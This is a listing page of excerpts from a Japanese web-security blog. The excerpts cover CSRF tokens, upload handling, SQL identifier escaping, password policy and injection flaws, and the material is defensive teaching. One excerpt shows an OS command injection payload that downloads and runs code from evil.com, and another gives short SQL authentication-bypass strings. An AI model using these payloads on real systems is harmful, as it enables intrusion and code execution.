書籍『Webアプリケーションセキュリティ対策入門』のCSRF脆弱性 | 徳丸浩の日記
図のように、大垣本のCSRF対策方式（以下、「大垣方式」と表記）では、トークン（同書ではフォームIDと表記）をランダムな鍵として生成（②）し、それをフォームの隠しフィールドとDBに保存します（③、④）。ユーザーがフォームをサブミット（⑤）すると、送信されてきたトークンがDB上に存在するか確認（⑥）し、あればトークンを削除（⑦）して、サーバー上の処理に進みます。⑥でトークンがDBにない場合は、エラーとして処理には進みません。 一般的なCSRF対策手法との違い 大垣方式が一般的なCSRF対策と異なる点は以下の2点です。 フォームの2重投稿防止機能を兼ねている トークンがセッション変数ではなくDBに保存される トークンの有効範囲は? トークンがDBに保存される場合、トークンの有効範囲が気になるところです。大垣本および第二版のソースを見ると、トークンを保存するテーブルの定義は以下の通りです。 CR
Apacheの多重拡張子にご用心
先日の日記『「10日でおぼえるPHP入門教室 第4版」はセキュリティ面で高評価』では、同書のアップロード機能のセキュリティ面を評価しつつ、「もうひと踏ん張り確認して欲しい内容がある」として、画像XSSの可能性について指摘しました。では、これを直せば完璧かというと、実はそうとも言えないという微妙な問題があります。それは、アップロード先の場所とファイル名の問題です。 ファイルをアップロードするディレクトリ: ドキュメントルート下の /php10/doc/ ファイル名: ブラウザから送信されたファイル名そのまま これらのうちファイル名の拡張子については、gif/jpg/jpeg/pngのみを許すという、いわゆるホワイトリスト検査がされていて、またgetimagesize()関数により、画像ファイルであることの簡易的なチェックをしています。しかし、この状態では、環境によってはアップロードしたファイ
New Class of Vulnerability in Perl Web Applicationsの紹介
Redditを眺めておりましたら以下の記事が目に止まりました。 New Class of Vulnerability in Perl Web Applications ざっくりというと以下の様な内容です CGI.pmのparamメソッドの返り値をハッシュに突っ込んでいる箇所がある クエリ文字列に同名のパラメータを複数セットすると、配列値が返る 配列をハッシュに突っ込むことにより、別のキーの値が変更される 私はこの内容に興味を持ちましたので、以下に詳しく説明します。 PoC 元エントリにもPoCが出ておりますが、少し手をいれたものを以下に示します。 #!/usr/bin/perl use strict; use CGI; my $cgi = new CGI; my $loginname = 'smith'; my $password = 'a3k!sz9'; my %user = ('log
パスワードの定期的変更はパスワードリスト攻撃対策として有効か
パスワードリスト攻撃の対策として、パスワードの定期的変更に意味があるのかという議論があります。私は（利用者側施策としては）実質意味がないと思っていますが、まったく意味がないというわけでもありません。 このエントリでは、パスワードの定期的変更がパスワードリスト攻撃に対してどの程度有効かを検討してみます。 前提条件 パスワードリスト攻撃を以下のように定義します。 別のサイトから漏洩したアカウント情報（ログインIDとパスワードの組み合わせ）の一覧表（パスワードリスト）があり、そのログインIDとパスワードの組をそのまま、攻撃対象に対してログイン試行する攻撃 パスワードの定期的変更の一例として以下の条件を前提とします 利用者は、すべてのサイトのパスワードを90日毎に変更する 利用者はすべてのサイトで同じログインIDを用いている 変更後のパスワードはすべてのサイトで同じとする ※ サイト毎にパスワード
パスワード定期的変更の効能について徳丸さんに聞いてみた
高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、今話題のパスワードの定期的変更について、本当のところ効果がないのか、その効能についてご説明いただきます。徳丸さん、よろしくお願いします。 徳丸: 徳丸です。いつもはパスワードの定期的変更にはあまり意味がないと主張していますが、今日はパスワードの定期的変更を擁護する立場なんですね。面白そうです。よろしくお願いします。 高橋: まず問題の整理についてです。IPAより9月3日に『「ID・パスワードのセキュリティ対策促進に関する広告等業務」 係る企画競争 』の仕様書(PDF)が公開されました。その仕様書中の行動喚起を促す対策事例の一つに「ID・パスワードは定期的に変更する」 があったので、セキュリティクラスタが騒ぎ出し、その結果かどうかは分かりませんが、9月9日に同仕様書が改定され、パスワードの定期的変更は対策例から削除されました。一連の議
模倣サイトとして各所から注意喚起が出されているサイトについて徳丸さんに聞いてみた
高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、今話題の『模倣サイトとして各所から注意喚起が出されているサイト』についてお話を伺います。徳丸さん、よろしくお願いします。 徳丸: 徳丸です。よろしくお願いします。 高橋: まず問題のサイトですが、NTT東日本、NTTドコモ、日本銀行、外務省、総務省など様々なサイトを模倣したサイトが見つかっていて、各社、各省庁が注意喚起をしているというものです。詳しくは、北河拓士さんのまとめをごらんください。 徳丸: これ、総務省のサイトだと、http://www.soumu.go.jp.○○○.org/ のように、ドメイン名の先頭が本物と同じだし、中身も同一だしで、見た人がびっくりしたのでしょうね。 高橋: はい。これはパクリのサイトではないのですか? 徳丸: パクリではありません。PROXYサーバーの一種で、元のサイトのアクセスして、その内容をそ
ANAの不正ログイン事件について徳丸さんに聞いてみた
高橋: こんにちは、高橋です。先月に引き続き徳丸さんをお招きして、今度はANAの不正ログイン事件についてお話を伺います。徳丸さん、よろしくお願いします。 徳丸: 徳丸です。よろしくお願いします。 高橋: まず、事件の概要を説明します。「ANAマイレージクラブ」のWebサイトに不正ログインがあり、顧客9人のマイレージ、総計112万マイルがiTunesギフトコードに勝手に交換されていたとするものです。当初顧客の通報で発覚した点はJALの場合と同じですね（参考）。 徳丸: で、私はなにをしゃべればいいのですかね。お招きいただいたので出てきましたが、パスワードがJALは数字6桁、ANAは4桁ですが、それ以外はあまり変わらないのですよね。 高橋: JAL、ANAと事件が続きましたが、攻撃手口は見えてきていないのでしょうか? 徳丸: 公式発表も報道もあまり情報がないので確定的なことは言えないのですが、
正規表現によるバリデーションでは ^ と $ ではなく \A と \z を使おう
正規表現によるバリデーション等で、完全一致を示す目的で ^ と $ を用いる方法が一般的ですが、正しくは \A と \z を用いる必要があります。Rubyの場合 ^ と $ を使って完全一致のバリデーションを行うと脆弱性が入りやすいワナとなります。PerlやPHPの場合は、Ruby程ではありませんが不具合が生じるので \A と \z を使うようにしましょう。 はじめに 大垣さんのブログエントリ「PHPer向け、Ruby/Railsの落とし穴」には、Rubyの落とし穴として、完全一致検索の指定として、正規表現の ^ と $ を指定する例が、Ruby on Rails Security Guideからの引用として紹介されています。以下の正規表現は、XSS対策として、httpスキームあるいはhttpsスキームのURLのみを許可する正規表現のつもりです。 /^https?:\/\/[^\n]+$/
JALの不正ログイン事件について徳丸さんに聞いてみた
高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、JALの不正ログイン事件についてお話を伺います。徳丸さん、よろしくお願いします。 徳丸: 徳丸です。よろしくお願いします。 高橋: まず、事件の概要を説明します。日本航空のホームページに不正アクセスがあり、JALマイレージバンク（JMB）のマイルが、Amazonのギフト券に勝手に交換される被害がありました。日本航空の発表では、1月31日から2月2日にかけて、身に覚えがないマイル交換がされているという問い合わせが複数ありました。調査の結果、40人の利用者のマイルがアマゾンのギフト券、数百万円相当と交換されていたというものです。 徳丸: ここで問題となるのは、パスワードは数字6桁ということなんですよね。 高橋: やはりそこですか。パスワードが数字6桁だとどのような攻撃ができるのでしょうか? ブルートフォース攻撃 徳丸: まず、ブルートフ
SQL識別子は結局どうすればよいか
今まで2回にわたって、SQL識別子のエスケープの問題を取り上げました。 間違いだらけのSQL識別子エスケープ SQL識別子エスケープのバグの事例 3回目となる本稿では、SQL識別子の取り扱いに関する問題を整理して､一般的な原則を導きたいと思います。 SQL文が動的に変化する場合のSQLインジェクション対策 「間違いだらけの…」で示したように、識別子エスケープが必要な局面でそれが洩れていると脆弱性の要因になることがありますが、それは外部から指定したデータにより、SQL文の構造が変化してしまい、アプリケーションの要件にないSQL呼び出しがなされてしまうからでした。 しかし、「間違いだらけ…」の後半で示したように、識別子のエスケープだけではセキュリティ問題を防ぐことはできず、情報漏洩を招いてしまいました。外部から任意のSQL識別子を指定できることが問題という結論でした。 上記のように、アプリケー
SQL識別子エスケープのバグの事例
昨日のエントリに続いてSQL識別子のエスケープの話題で、今回は著名アプリケーションにおけるSQL識別子のエスケープ処理のバグについてです。 MySQL Workbenchには識別子のエスケープに関するバグがあった 以下の画面は、MySQLが提供するMySQL Workbenchの旧バージョン（5.2.34）の様子です（CentOS6.5上で動作）。MySQL WorkbenchはWebアプリケーションではなく、下図からも分かるようにGUIツールです。 下図では a`b というテーブルの内容を表示しようとして、エラーが表示されています。 生成されているSQL文は下記の通りです。 SELECT * FROM `db`.`a`b`; これは駄目ですね。SQL識別子中に引用符がある場合は、引用符を重ねるのがルールでした。つり、正しくは以下であるべきです。 SELECT * FROM `db`.`a
間違いだらけのSQL識別子エスケープ
これから3回連載の予定で、SQL識別子のエスケープの問題について記事を書きます。SQL識別子のエスケープについてはあまり解説記事などがなく、エンジニア間で十分な合意がないような気がしますので、これらの記事が議論のきっかけになれば幸いです。 3回の予定は以下のとおりです。 間違いだらけのSQL識別子エスケープ(本稿) SQL識別子エスケープのバグの事例 SQL識別子は結局どうすればよいか ということで、まずはSQL識別子のエスケープの失敗例について説明します。この失敗例はあくまで説明のために作ったもので、実際のものではありません。また、想定が「ありえない」と思われるかもしれませんが、意図的なものですのでご容赦いただければと思います。また、「間違いだらけの」というタイトルは、今回の題材が間違いだらけという意味であり、巷のSQL呼び出しがそうであるという意味ではありません。本稿に登場する人物と団
PHPだってシェル経由でないコマンド呼び出し機能が欲しい
このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba
PHPとセキュリティの解説書12種類を読んでSQLエスケープの解説状況を調べてみた
この投稿はPHP Advent Calendar 2013の13日目の記事です。昨日は@tanakahisateruのPHPが糞言語なのはどう考えても参照をポインタだと思っているお前らが悪いでした。 現在twitterのタイムラインで、史上空前のSQLのエスケープブームが起こっています。 オレオレSQLセキュリティ教育は論理的に破綻している | yohgaki's blog 「プリペアードクエリが基本だけど、動的に SQL を組み立てる場合もあるから、そういう場合に備えてエスケープも知っておいたほうがいいかも」 - Togetterまとめ エスケープとプレースホルダをめぐる議論 - Togetterまとめ SQLインジェクション対策としてのプリペアドステートメントとエスケープについての議論 - Togetterまとめ IPAの「安全なSQLの呼び出し方」が安全になっていた | yohgak
MACHIDA.KANAGAWA.JPはなぜ「まぎらわしい」のか
私は検証用にいくつかのドメイン名を登録していますが、そのうちの一つが「発掘」され、世間をお騒がせすることになってしまいました。 このページのページビューは、8月16日(金) 9:00現在で、31438となっています。ずいぶんよく参照されています。ちなみに、「本物の」町田市のホームページは下記の通りです。 しかし、上記のような主張はいままでにもあったし、今更二番煎じのこのネタが、上記のような簡素な内容で話題になる理由としては、やはり MACHIDA.KANAGAWA.JPというドメイン名にあるのでしょう。これは「都道府県型JPドメイン名」というもので、「日本国内に住所を持つ個人・組織であれば、いくつでも登録ができます」（こちらより引用）。 では、どうして紛らわしいドメイン名が登録できるかという理由を説明します。 都道府県型JPドメイン名ができる前に地域型JPドメイン名というものがあり、多くの
SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
昨日のエントリ「SQLインジェクションゴルフ - 認証回避の攻撃文字列はどこまで短くできるか?」にて、認証回避の攻撃文字列が5文字にできる（「'OR'1」）ことを示しましたが、@masa141421356さんと、やまざきさん（お二人とも拙著のレビュアーです）から、idとpwdにまたがった攻撃例を示していただきました。やまざきさんの例は、MySQL限定ながら、なんと3文字です。これはすごい。 @masa141421356さんの攻撃例 @masa141421356さんのツイートを引用します。 @ockeghem 大抵のDBでid=''OR' AND pwd='>' ' が通ると思います（id側に「'OR」, pwd側に「>' 」で6文字）。長さ0の文字列がNULL扱いされないDBなら最後のスペースを消して5文字です。 — masa141421356 (@masa141421356) June
eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策
eBook Japanに対する不正アクセスについて、詳細の発表があり、いわゆる「パスワードリスト攻撃」であることが発表されました。 前回のご報告までは「複数のIPアドレスからログインページに対して機械的に総当たり攻撃等を行う大量アクセス行為（ブルートフォースアタック）」とご説明しておりましたが、詳細調査の結果、「不正の疑われる複数のIPアドレスからログインページに対して、予め持っていたログインIDとパスワードの適用可否を試行する大量アクセス行為」であることが判明いたしました。 つまり、大量アクセス行為を仕掛けてきた者は、当社以外の他のサービスなどで他のサービスのログインIDとパスワードを不正に入手し、ユーザーがログインIDとパスワードを共通に設定している可能性を狙って当社サービスに不正にログインしようとし、上記件数についてはログインに成功してしまったということです。 そのように判断した根拠
PHPの入門書を書くことになりました&レビュアー募集のお知らせ
PHPの入門書をソフトバンククリエイティブさん出すことになりました。かねがね、PHPの入門書がよろしくないという問題意識を持ち、かつ色々な場でお話ししておりましたが、またしても「言い出しっぺの法則」が発動して、自分で書くことになりました。 PHPの入門書を（たぶん）10冊以上読んで（あるいは眺めて）、以下のような感触を持っています。 ものすごく初歩的な本は悪くないが、行き着くゴールが極めて限定される SQLなどまで行き着く入門書は、後述する欠点を持つ傾向がある 中級者・上級者向けについては、良いものが出て来た PHP入門書の欠点というのは以下のようなものです。私の読んだPHP入門書は、次のいずれかに該当します。 執筆者のスキルが低いために説明やサンプルの品質が低い 執筆者のスキルは高いはずだが、説明のスキルが低く、不正確 執筆者のスキルが高く説明も正確だが、初心者には難しく入門書でなくなっ
COOKPADの「伏せ字にせず入力」ボタンは素晴らしい
@tokuhiromから教えてもらったのですが、COOKPADのスマートフォン向けWebサイトのログインページには、パスワードを「伏せ字にせず入力」するボタンがついているのですね。 さっそく見てみましょう。まずはログイン画面です。パスワード欄の下側に、「伏せ字にせず入力」ボタンが見えます。 「元に戻す」ボタンを押すと、伏せ字に戻ります。 僕はこれを知って興奮しました。なぜなら、拙著「体系的に学ぶ 安全なWebアプリケーションの作り方」には以下のように書いたからです（P337～P338）。 パスワード入力欄のマスク表示は、現在の常識的なガイドラインですが、実は筆者自身は疑問を持っています。パスワード入力欄をマスク表示にすると、記号や大文字・小文字交じりの安全なパスワードを入力しにくくなるので、利用者は簡単な（危険な）パスワードを好むようになり、かえって安全性を阻害するリスクの方が大きいのでは
悪いサニタイズ、良い(?)サニタイズ、そして例外処理
先日のエントリ「処理開始後の例外処理では「サニタイズ」が有効な場合もある」は、素材の消化不足、私の表現の未熟等から、一部で誤解を招いてしまったようで申し訳ありません。アプローチを変えて、サニタイズについてもう一度考えてみたいと思います。結論から言えば、悪いサニタイズはあっても、「良いサニタイズ」はないと考えます。しかしながら、状況によっては妥協の産物としてサニタイズを使うことは、あり得ると考えます。 本稿で用いる「サニタイズ」の定義 サニタイズという用語は、歴史的に都合の良いように使われてきた歴史があり、あらためてネット検索して見ると、本当に多様な使われ方をしていると感じました。その様子は、高木浩光氏のブログ記事『「サニタイズ」という言葉はもう死んでいる』からも伺えます。 ここでは、議論の都合上、以下をサニタイズの定義として用いることにします。 サニタイズとは、 主にセキュリティ上の目的で
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
